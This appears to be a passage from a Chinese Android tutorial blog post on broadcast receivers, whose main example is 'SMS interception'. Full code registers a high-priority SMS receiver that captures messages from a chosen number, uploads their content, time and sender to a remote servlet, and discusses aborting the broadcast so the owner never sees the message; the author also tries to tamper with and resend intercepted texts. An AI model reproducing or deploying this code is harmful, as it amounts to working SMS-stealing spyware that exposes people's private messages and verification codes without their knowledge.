1
2
3
4
5
6

参照代码再多说两句高低版本兼容问题，if判断中为什么写>=12而不是大于>= android.os.Build.VERSION_CODES.HONEYCOMB_MR1这种常量形式。答案是我的sdk兼容从2.2版本开始的，如果写成常量形式的会报编译错误，如果调高了targetVersion(开发绑定版本)，虽然编译没有错误，但在低版本运行时，会因为找不到那个常量值儿报异常终止，所以建议使用数字12。同理，intent.setFlags(32)中没有直接写常量也是这个原因，Intent.FLAG_INCLUDE_STOPPED_PACKAGES是3.1版本时才有的。低版本会报错。

完整广播示例：短信拦截

系统在收到短信的时候，会发送一个：android.provider.Telephony.SMS_RECEIVED这样的广播，而且这是一个有序的广播，所以我们就可以拦截了这条短信，因为系统中的短信接收者的订阅优先级不是1000最高的，所以我们可以自己定义一个短信接收者，将订阅优先级设置成1000，这样我们就可以最先获取到短信内容，然后将截取到知道号码的短信内容上传到服务器上进行保存，然后终止广播。让系统接收不到这条短信。

这里面我们还需要了解的技术就是短信内容的获取，这个我们在代码中解释：

下面来看一下我们定义的短信接收者:

package com.broadcast.receiver;  
 
import java.text.SimpleDateFormat;  
import java.util.Date;  
import android.annotation.SuppressLint;  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.telephony.SmsMessage;  
import android.util.Log;  
import com.broadcast.service.UploadSMSService;  
/** 
 * 广播接收者A 
 * @author weijiang204321 
 * 
 */  
 
public class SortBroadcastReceiverA extends BroadcastReceiver{  
    @SuppressLint("SimpleDateFormat")  
    @Override  
    public void onReceive(Context context, Intent intent) {  
 
        //获取短信的相关信息,使用字段pdus  
 
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");  
 
        StringBuilder content = new StringBuilder();  
 
        String receiveTime = "";  
 
        String senderNumber = "";  
 
        for(Object p : pdus){  
 
            byte[] pdu = (byte[]) p;  
 
            SmsMessage message = SmsMessage.createFromPdu(pdu);  
 
            content.append(message.getMessageBody());  
 
            Date date = new Date(message.getTimestampMillis());  
 
            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
 
            receiveTime = format.format(date);  
 
            senderNumber = message.getOriginatingAddress();  
 
        }  
 
 
 
        Log.e("Demo:","上传短信内容是:"+content.toString());  
 
        Log.e("Demo:","接收短信的时间是"+receiveTime);  
 
        Log.e("Demo:","发送短信的号码是:"+senderNumber);  
 
 
 
        //拦截的号码是:18910958627,注意前面还有+86是中国地区的编号  
 
        if("+8618910958627".equals(senderNumber)){  
 
            //拦截成功 ,上传信息  
 
            Intent service = new Intent(context,UploadSMSService.class);  
 
            service.putExtra("content", content.toString());  
 
            service.putExtra("receiveTime",receiveTime);  
 
            service.putExtra("senderNumber", senderNumber);  
 
            context.startService(service);  
 
        }  
 
 
 
    }  
 
 
 
}  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

在onReceive方法中我们通过intent中的Bundle获取短信的相关信息。

下面在看一下上传短信信息的服务Service:

package com.broadcast.service;  
import java.net.HttpURLConnection;  
import java.net.URL;  
import java.net.URLEncoder;  
import android.app.Service;  
import android.content.Intent;  
import android.os.IBinder;  
/** 
 * 上传短信内容的service 
 * 
 */  
 
public class UploadSMSService extends Service{  
    @Override  
    public IBinder onBind(Intent intent) {  
        return null;  
    }  
 
 
 
    @Override  
 
    public int onStartCommand(Intent intent, int flags, int startId) {  
 
        //获取短信内容和接收时间，发送者的号码  
 
        final String content = intent.getStringExtra("content");  
 
        final String receiveTime = intent.getStringExtra("receiveTime");  
 
        final String senderNumber = intent.getStringExtra("senderNumber");  
         new Thread(){  
 
            @Override  
 
            public void run(){  
 
                sendSMS(content,receiveTime,senderNumber);  
 
                //上传完成之后就结束service  
 
                stopSelf();  
 
            }  
 
        }.start();  
 
 
 
        return super.onStartCommand(intent, flags, startId);  
 
    }  
 
 
 
    /** 
     * 上传短信内容 
     * @param content 
     * @param receiveTime 
     * @param senderNumber 
     * @return 
     */  
 
    private boolean sendSMS(String content, String receiveTime, String senderNumber) {  
 
        try{  
 
            String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;  
 
            byte[] entity = params.getBytes();  
 
            String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet";  
 
            HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();  
 
            conn.setConnectTimeout(5000);  
 
            conn.setRequestMethod("POST");  
 
            conn.setDoOutput(true);  
 
            conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");  
 
            conn.setRequestProperty("Content-Length", String.valueOf(entity.length));  
 
            conn.getOutputStream().write(entity);  
 
            if(conn.getResponseCode() == 200){  
 
                return true;  
 
            }  
 
        }catch (Exception e) {  
 
            e.printStackTrace();  
 
        }  
        return false;  
    }  
}  
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

这个服务的逻辑也很简单的，在获取到短信信息的时候，将内容进行上传。

最后不能忘了在AndroidMainfest.xml中添加权限:

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
    <uses-permission android:name="android.permission.INTERNET"/>  
 
 
1
2
 
 
1
2

订阅短信广播:

    <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">  
                <intent-filter android:priority="999">  
                    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
                </intent-filter>  
    </receiver>  
 
 
1
2
3
4
5
 
 
1
2
3
4
5

当然这里还需要有一个短信内容的接收服务端,在服务端定义一个Servlet来接受数据，具体的服务端的环境搭建，自己上网搜索相关资料进行搭建:

package com.servlet.receivesms;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
 
public class ReceiveSMSServlet extends HttpServlet{
 
    private static final long serialVersionUID = 1L;
 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        String content = req.getParameter("content");
        String receiveTime = req.getParameter("receivetime");
        String phoneNumber = req.getParameter("sendernumber");
        System.out.println("发送内容:"+content);
        System.out.println("发送时间:"+receiveTime);
        System.out.println("发送号码:"+phoneNumber);
        super.doGet(req, resp);
    }
 
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
        super.doPost(req, resp);
    }
 
}
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

测试结果，客户端拦截的号码是18910958627，注意前面有+86是中国区域的编码，服务端接收数据为:

这样就表示截取短信内容成功，并且成功上传到服务器上了。

对于上面的短信拦截的功能还有待加强，就是现在想把短信的内容拦截下来，进行篡改，然后再发给下一个接收者?

方案一:在我们定义的短信广播接收者中，我们能够从intent中的Bundle中通过key=”pdus”来获取短信内容的，那么我们可以自己从新组建一个新的Bundle，在这个Bundle中存入我们篡改的信息，然后替换之前的Bundle

问题:实施了，但是问题是Bundle是替换不了的，不知道是什么原因？

方案二:由于第一种方案的失败，导致了我从新想到一个方案就是截取短信内容之后，终止此次广播，然后发送一条短信，这时候短信的内容为我们篡改的内容，但是这里需要注意的是，要做判断，因为我们定义的短信接收者的优先级最高，所以我们发送篡改后的短信又被我们的短信接收者给拦截了，但是我们是不想这样的，所以要做个判断，这个很简单的，使用SharePerenced存入一个boolean值就行了。

问题:本来以为这种方案是完美了，但是问题是发送信息的时候，系统提供的方法中的参数是：接收者号码,发送者号码,短信内容,还有其他的参数就不解释了，这很简单呀，我们现在正好需要这三个参数，立马传递进去，结果是收取不到短信，查看文档，发现那个发送者号码的参数是短信服务中心的号码(也不知道什么意思)，当把它设置成null的时候短信就可以发出去了，但是设置成null的话，就不能说是谁发的短信了没有意义呀！

问题还没有解决，如果有哪位大神有好的方法，请说明!

总结:

在Android中，程序的响应（Responsive）被活动管理器（ActivityManager）和窗口管理器（Window Manager）这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕，Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作，否侧会弹出ANR（Application No Response）的对话框。如果需要完成一项比较耗时的工作，应该通过发送Intent给Service，由Service来完成。而不是使用子线程的方法来解决，因为BroadcastReceiver的生命周期很短（在onReceive()执行后BroadcastReceiver 的实例就会被销毁），子线程可能还没有结束BroadcastReceiver就先结束了。如果BroadcastReceiver结束了，它的宿主进程还在运行，那么子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死，因为它属于空进程（没有任何活动组件的进程）。

    public class IncomingSMSReceiver extends BroadcastReceiver {  
      @Override public void onReceive(Contextcontext, Intentintent) {  
                //发送Intent启动服务，由服务来完成比较耗时的操作  
                Intent service =new Intent(context,XxxService.class);  
                context.startService(service);  
      }  
    }  
 
 
1
2
3
4
5
6
7
 
 
1
2
3
4
5
6
7

每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。

所以上面的短信内容上传到服务器上的逻辑功能不能在广播中执行，需要开启一个服务进行上传。

本文参考了互联网上的一些内容,苦于找不到原文出处,在此表示感谢!